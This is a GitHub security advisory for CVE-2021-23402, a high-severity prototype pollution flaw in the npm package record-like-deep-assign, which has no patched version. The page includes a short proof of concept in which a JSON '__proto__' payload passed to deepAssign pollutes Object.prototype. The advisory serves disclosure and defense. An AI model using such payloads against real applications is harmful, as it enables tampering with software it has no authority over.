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Prototype Pollution in record-like-deep-assign

High severity GitHub Reviewed Published Dec 10, 2021 to the GitHub Advisory Database • Updated Sep 11, 2023

Package

npm record-like-deep-assign (npm)

Affected versions

<= 1.0.1

Patched versions

None

Description

All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality.

PoC

const deepAssign = require('record-like-deep-assign');
let obj = {};
console.log("Before being polluted: " + obj.polluted);
EVIL_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
deepAssign({}, EVIL_JSON);
console.log("After being polluted: " + obj.polluted);

References

Published by the National Vulnerability Database Jul 2, 2021
Reviewed Jul 6, 2021
Published to the GitHub Advisory Database Dec 10, 2021
Last updated Sep 11, 2023

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

EPSS score

0.535%
(77th percentile)

Weaknesses

CVE ID

CVE-2021-23402

GHSA ID

GHSA-7qm6-9v49-38m9

Source code

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